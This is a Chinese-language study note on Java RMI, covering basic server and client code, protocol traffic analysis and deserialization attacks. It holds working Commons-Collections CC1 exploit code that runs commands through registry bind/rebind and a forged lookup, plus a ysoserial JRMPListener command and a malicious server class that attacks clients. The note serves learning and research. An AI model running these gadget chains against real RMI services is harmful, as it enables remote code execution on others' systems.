RMI学习 https://drun1baby.top/2022/07/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9801-RMI%E5%9F%BA%E7%A1%80/ //详细分析
https://johnfrod.top/%e5%ae%89%e5%85%a8/rmi%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/
https://www.bilibili.com/video/BV1L3411a7ax/?p=10&vd_source=a4eba559e280bf2f1aec770f740d0645 //详细分析
https://su18.org/post/rmi-attack/
https://threedr3am.github.io/2020/01/15/%E5%9F%BA%E4%BA%8EJava%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%20-%20%E6%90%9E%E6%87%82RMI%E3%80%81JRMP%E3%80%81JNDI/
https://drun1baby.top/2022/07/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BRMI%E4%B8%93%E9%A2%9802-RMI%E7%9A%84%E5%87%A0%E7%A7%8D%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F/
https://goodapple.top/archives/520
https://blog.play2win.top/2022/02/16/Java_RMI%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90%E4%B8%8E%E6%80%BB%E7%BB%93/
https://www.ek1ng.com/java-rmi-attack.html
RMI基础例子 服务端 1.编写一个远程接口,其中定义了sayHello方法
1 2 3 4 5 6 7 8 9 package org.example;import java.rmi.Remote;import java.rmi.RemoteException;public interface RemoteObj extends Remote { public String sayHello (String keyWords) throws RemoteException; }
作用域为public
继承Remote
抛出异常RemoteException
2.定义该接口的实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj { public RemoteObjImpl () throws RemoteException { } @Override public String sayHello (String keyWords) throws RemoteException { String upKeyWords = keyWords.toUpperCase(); System.out.println(upKeyWords); return upKeyWords; } }
实现接口RemoteObj
继承UnicastRemoteObject
构造函数抛出异常RemoteExcepion
实现类中使用的对象必须都可以序列化,即继承java.io.Serializable
3.注册远程对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.example;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main (String[] args) throws Exception{ System.out.println("Hello world!" ); RemoteObj remoteObj = new RemoteObjImpl (); Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("remoteObj" ,remoteObj); } }
port默认是1099
bind的绑定,要和客户端的查找一致
客户端
1 2 3 4 5 6 7 8 9 package org.example;import java.rmi.Remote;import java.rmi.RemoteException;public interface RemoteObj extends Remote { public String sayHello (String keyWords) throws RemoteException; }
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj" ); remoteObj.sayHello("hello" ); } }
wireshark流量分析 客户端与注册中心(1099 端口)建立通讯 客户端查询需要调用的函数的远程引用,注册中心返回远程引用和提供该服务的服务端 IP 与端口。
客户端与注册中心(1099 端口)建立通讯完成后,RMI Client 向远端发送了⼀个 “Call” 消息,远端回复了⼀个 “ReturnData” 消息,然后 RMI Client 端新建了⼀个 TCP 连接,连到远端的53851 端⼝,d25b就是53851
AC ED 00 05
是常见的 Java 反序列化 16 进制特征 注意以上两个关键步骤都是使用序列化语句
客户端新起一个端口与服务端建立 TCP 通讯 客户端发送远程引用给服务端,服务端返回函数唯一标识符,来确认可以被调用
同样使用序列化的传输形式
以上两个过程对应的代码是这两句
1 2 Registry registry = LocateRegistry.getRegistry("127.0.0.1" , 1099 ); RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj" );
这里会返回一个 Proxy 类型函数,这个 Proxy 类型函数会在我们后续的攻击中用到。
客户端序列化传输调用函数的输入参数至服务端 这一步的同时:服务端返回序列化的执行结果至客户端
以上调用通讯过程对应的代码是这一句
1 remoteObj.sayHello("hello");
可以看出所有的数据流都是使用序列化传输的,那必然在客户端和服务带都存在反序列化的语句。
总结一下 RMI 的通信原理 实际建⽴了两次 TCP 连接,第一次是去连 1099 端口的;第二次是由服务端发送给客户端的。
在第一次连接当中,是客户端连 Registry 的,在其中寻找 Name 为 hello 的对象,这个对应数据流中的 Call 消息;然后 Registry 返回⼀个序列化的数据,这个就是找到的 Name=Hello
的对象,这个对应数据流中的ReturnData消息。
到了第二次连接,服务端发送给客户端 Call 的消息。客户端反序列化该对象,发现该对象是⼀个远程对象,地址在 172.17.88.209:24429,于是再与这个地址建⽴ TCP 连接;在这个新的连接中,才执⾏真正远程⽅法调⽤,也就是 sayHello()
RMI Registry 就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但 RMI Server 可以在上⾯注册⼀个 Name 到对象的绑定关系;RMI Client 通过 Name 向 RMI Registry 查询,得到这个绑定关系,然后再连接 RMI Server;最后,远程⽅法实际上在 RMI Server 上调⽤。
那么我们可以确定 RMI 是一个基于序列化的 Java 远程方法调用机制。
从 IDEA 断点分析 RMI 通信原理 1. 流程分析总览 首先 RMI 有三部分:
RMI Registry
RMI Server
RMI Client
如果两两通信就是 3+2+1 = 6 个交互流程,还有三个创建的过程,一共是九个过程。
RMI 的工作原理可以大致参考这张图,后续我会一一分析。
2. 创建远程服务 先行说明,创建远程服务这一块是不存在漏洞的。
断点打在 RMIServer 的创建远程对象这里,如图
这块的调用分析看不懂,,,就先这样吧,以后用得到再回来看。
3. 创建注册中心 + 绑定 3. 客户端请求,客户端调用注册中心 4. 客户端请求,客户端请求服务端 5. 客户端发起请求,注册中心如何处理 6. 客户端发起请求,服务端做了什么 总结 如果是漏洞利用的话,单纯攻击 RMI 意义是不大的,不论是 codespace 的那种利用,难度很高,还是说三者互相打这种,意义都不是很大,因为在 jdk8u121 之后都基本修复完毕了。
RMI 多数的利用还是在后续的 fastjson,strust2 这种类型的攻击组合拳比较多,希望这篇文章能对正在学习 RMI 的师傅们提供一点帮助。
攻击 RMI Registry 只有一种客户端打注册中心
注册中心的交互主要是这一句话
1 Naming.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());
这里的交互方式不只是只有 bind,还有其他的一系列方式,如下
我们与注册中心进行交互可以使用如下几种方式:
list
bind
rebind
unbind
lookup
这几种方法位于 RegistryImpl_Skel#dispatch
中,如果存在对传入的对象调用 readObject()
方法,则可以利用,dispatch
里面对应关系如下:
0 —– bind
1 —– list
2 —– lookup
3 —– rebind
4 —– unbind
首先是 list 这种攻击,因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的。 但是讲道理,list 的这种攻击比较鸡肋。
bind 或 rebind 的攻击 直接看 bind 方法和 rebind 方法的源码吧
源码在jdk8u65的rt.jar包里,package sun.rmi.registry的RegistryImpl_Skel类里面
这个博客里讲的应该有问题。它的case和bind以及rebind对应的有问题。参考了两篇按照我的正确理解来搞。
case 0是bind
case 3是rebind
当调用bind
时,会用readObject
读出参数名以及远程对象,此时则可以利用
当调用rebind
时,会用readObject
读出参数名和远程对象,这里和bind
是一样的,所以都可以利用。
如果服务端存在CC1相关组件漏洞,那么就可以使用反序列化攻击
1 2 3 4 5 6 7 <dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies>
逆向分析一下这条链子,原本 CC1 的最后面是 InvocationHandler.readObject()
,现在我们要让客户端的 bind()
方法执行 readObject()
。
回过头去看前面的,在客户端收到信息的时候是一个 Proxy 对象,让 Proxy 对象被执行的时候去调 readObject()
方法,可以先点进去 Proxy 对象看一看,其中有一个非常引人注目的方法 ———— newProxyInstance()
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class AttackRegistryEXP { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); InvocationHandler invocationHandler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class []{Remote.class},invocationHandler)); registry.bind("test" ,remote); } public static Object CC1 () throws Exception{ System.out.println("hello" ); Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("value" ,"jerem1ah" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); Class annotatonInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = annotatonInvocationHandler.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedMap); return o; } }
Remote.class.cast 这里实际上是将一个代理对象转换为了 Remote 对象,因为 bind()
方法这里需要传入 Remote 对象。
rebind 的攻击也是如此,将 registry.bind("test",remote);
替换为 rebind()
方法即可。
unbind 或 lookup 的攻击 case 2是lookup
case 4是unbind
因为 unbind 和 lookup 的最终利用和思想都是一样的,这里我们就只拿 lookup 这里来学习。
大致的思路还是和 bind/rebind
思路是一样的,但是 lookup 这里只可以传入 String
类型,这里我们可以通过伪造 lookup
连接请求进行利用,修改 lookup
方法代码使其可以传入对象。
我们可以利用反射来实现这种攻击。
原先的lookup
方法:
RegistryImpl_Stub#lookup
:
编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import sun.rmi.server.UnicastRef;import java.io.ObjectOutput;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.Operation;import java.rmi.server.RemoteCall;import java.rmi.server.RemoteObject;import java.util.HashMap;import java.util.Map;public class AttackRegistryEXP02 { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); InvocationHandler invocationHandler = (InvocationHandler) CC1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class []{Remote.class}, invocationHandler)); Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0 ].setAccessible(true ); UnicastRef ref = (UnicastRef) fields_0[0 ].get(registry); Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0 ].setAccessible(true ); Operation[] operations = (Operation[]) fields_1[0 ].get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2 , 4905912898345647071L ); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); } public static Object CC1 () throws Exception{ System.out.println("hello" ); Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("value" ,"jerem1ah" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); Class annotatonInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = annotatonInvocationHandler.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedMap); return o; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 获取ref Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry); //获取operations Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry); // 伪造lookup的代码,去伪造传输信息 RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2);
以上这里就看不懂了。。先写吧
攻击客户端
上篇我们分析过,是在 unmarshalValue()
那个地方存在入口类。
注册中心攻击客户端 对于注册中心来说,我们还是从这几个方法触发:
bind
unbind
rebind
list
lookup
除了unbind
和rebind
都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,因为 EXP 实在太长了。命令如下:
1 java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'
然后使用客户端去访问:
1 2 3 4 5 6 7 8 9 10 11 12 package org.example;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient_lsit { public static void main (String[] args) throws RemoteException { Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); registry.list(); } }
服务端攻击客户端 服务端攻击客户端,大抵可以分为以下两种情景。
服务端返回Object对象
远程加载对象
服务端返回Object对象 在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:
接口
1 2 3 4 5 6 7 package org.example;import java.rmi.Remote;public interface User extends Remote { public Object getUser () throws Exception; }
恶意对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;import java.util.HashMap;import java.util.Map;public class UserEvilObject extends UnicastRemoteObject implements User { public String name; public int age; public UserEvilObject (String name, int age) throws RemoteException{ super (); this .name = name; this .age = age; } public Object getUser () throws Exception{ return CC1(); } public static Object CC1 () throws Exception{ System.out.println("hello" ); Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); hashMap.put("value" ,"jerem1ah" ); Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null ,chainedTransformer); Class annotatonInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = annotatonInvocationHandler.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object o = constructor.newInstance(Target.class,transformedMap); return o; } }
恶意服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class AttackClientFromServerEXP { public static void main (String[] args) throws Exception{ User xiaowang = new UserEvilObject ("xiaowang" ,18 ); Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("user" ,xiaowang); System.out.println("xiaowang is bind in registry" ); } }
客户端连接
1 2 3 4 5 6 7 8 9 10 11 12 package org.example;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient_UserEvilObject { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); User user = (User) registry.lookup("user" ); user.getUser(); } }
加载远程对象 这个就是 P神 写的那个,codebase 这种。这个可用性还是不咋样,我个人觉得本身这个注册中心,或者是服务端打出来,就没啥意义;再加上利用条件苛刻,就更没劲了。
当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。
java.rmi.server.codebase: codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。
RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://
、ftp://
、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类 中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebase
URL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类 ,那么服务端需要从客户端提供的java.rmi.server.codebase
URL去加载对应的类。客户端与服务端两边的java.rmi.server.codebase
URL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:
由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy
,这在后面的利用中可以看到。
属性 java.rmi.server.useCodebaseOnly
的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly
的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
总的来说利用条件十分苛刻,可用性不强。
攻击服务端 客户端打服务端 复现不成功。不知道为什么,
能打通的条件:
安装并且配置SecurityManager
6u45,7u21之前或者手动设置java.rmi.server.useCodebaseOnly=false
可能是这俩条件没满足
同时服务端具有以下特点:
jdk版本1.7
使用具有漏洞的Commons-Collections3.1组件
RMI提供的数据有Object类型(因为攻击payload就是Object类型)
这些东西用处不大,暂时就不复现了。
总结 感觉都是一些很过时,要淘汰的东西,暂且就先这样吧。复现了个差不多80%